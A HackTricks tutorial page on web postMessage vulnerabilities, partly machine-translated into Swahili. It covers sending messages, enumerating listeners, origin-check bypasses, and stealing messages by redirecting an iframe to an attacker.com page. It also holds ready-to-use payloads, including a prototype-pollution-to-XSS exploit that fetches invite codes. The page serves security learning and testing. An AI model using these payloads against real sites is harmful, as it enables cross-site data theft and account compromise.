.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Vulnerabilities
PostMessage Vulnerabilities
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel ni injini ya utafutaji inayotumiwa na dark-web ambayo inatoa kazi za bure kuangalia kama kampuni au wateja wake wamekuwa compromised na stealer malwares.
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa bure kwenye:
{% embed url="https://whiteintel.io" %}
Send PostMessage
PostMessage inatumia kazi ifuatayo kutuma ujumbe:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Note that targetOrigin inaweza kuwa '*' au URL kama https://company.com.
Katika hali ya pili, ujumbe unaweza kutumwa tu kwa ile domain (hata kama asili ya kitu cha dirisha ni tofauti).
Ikiwa wildcard inatumika, ujumbe unaweza kutumwa kwa domain yoyote, na utatumwa kwa asili ya kitu cha Dirisha.
Kushambulia iframe & wildcard katika targetOrigin
Kama ilivyoelezwa katika ripoti hii ikiwa unapata ukurasa ambao unaweza iframed (hakuna ulinzi wa X-Frame-Header
) na ambao unatumia ujumbe wa nyeti kupitia postMessage kwa kutumia wildcard (*), unaweza kubadilisha asili ya iframe na leak ujumbe wa nyeti kwa domain inayodhibitiwa na wewe.
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini targetOrigin imewekwa kwa URL na sio wildcard, hila hii haitafanya kazi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener
ni kazi inayotumiwa na JS kutangaza kazi ambayo inatarajia postMessages
.
Kodi kama ifuatavyo itatumika:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListener
and$(window).on
(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
- Go to Elements --> Event Listeners in the developer tools of the browser
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
event.isTrusted
attribute is considered secure as it returnsTrue
only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.- The use of
indexOf()
for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- The
search()
method fromString.prototype.search()
is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
The
match()
function, similar tosearch()
, processes regex. If the regex is improperly structured, it might be prone to bypassing. -
The
escapeHtml
function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledgehasOwnProperty
, theescapeHtml
won't perform as expected. This is demonstrated in the examples below: -
Expected Failure:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Bypassing the escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
In the context of this vulnerability, the File
object is notably exploitable due to its read-only name
property. This property, when used in templates, is not sanitized by the escapeHtml
function, leading to potential security risks.
- The
document.domain
property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
e.origin == window.origin bypass
When embedding a web page within a sandboxed iframe using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.
By specifying allow-popups
in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox
attribute is also included, the popup window's origin is similarly set to null
, aligning with the iframe's origin.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage
, both the sending and receiving ends have their origins set to null
. This situation leads to a scenario where e.origin == window.origin
evaluates to true (null == null
), because both the iframe and the popup share the same origin value of null
.
For more information read:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Bypassing e.source
It's possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
You can force e.source
of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.
For more information read:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header bypass
Ili kutekeleza mashambulizi haya, kwa njia bora utakuwa na uwezo wa kueka ukurasa wa mtandao wa mwathirika ndani ya iframe
. Lakini vichwa vingine kama X-Frame-Header
vinaweza kuzuia hiyo tabia.
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa vizuri. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba data nyeti za postmessage zilizotumwa kwa iframe ya mtoto kwa kuzuia ukurasa mkuu kabla ya kutuma data na kutumia XSS katika mtoto ili kuiba data kabla haijapokelewa:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Kuiba ujumbe kwa kubadilisha eneo la iframe
Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza kubadilisha eneo la iframe hiyo ya mtoto, hivyo ikiwa inapata postmessage iliyotumwa kwa kutumia wildcard, mshambuliaji anaweza kubadilisha asilimia ya iframe hiyo kuwa ukurasa unaodhibitiwa na yeye na kuiba ujumbe:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage kwa Uchafuzi wa Prototype na/au XSS
Katika hali ambapo data iliyotumwa kupitia postMessage
inatekelezwa na JS, unaweza iframe ukurasa na kutumia uchafuzi wa prototype/XSS ukituma exploit kupitia postMessage
.
Mfano kadhaa wa XSS nzuri sana kupitia postMessage
yanaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Mfano wa exploit ya kutumia Uchafuzi wa Prototype na kisha XSS kupitia postMessage
kwa iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Kwa maelezo zaidi:
- Kiungo cha ukurasa kuhusu prototype pollution
- Kiungo cha ukurasa kuhusu XSS
- Kiungo cha ukurasa kuhusu client side prototype pollution to XSS
Marejeleo
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Kufanya mazoezi: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel ni injini ya utafutaji inayotumiwa na dark-web ambayo inatoa kazi za bure kuangalia kama kampuni au wateja wake wamekuwa compromised na stealer malwares.
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayohusisha wizi wa taarifa.
Unaweza kuangalia tovuti yao na kujaribu injini yao bure kwenye:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.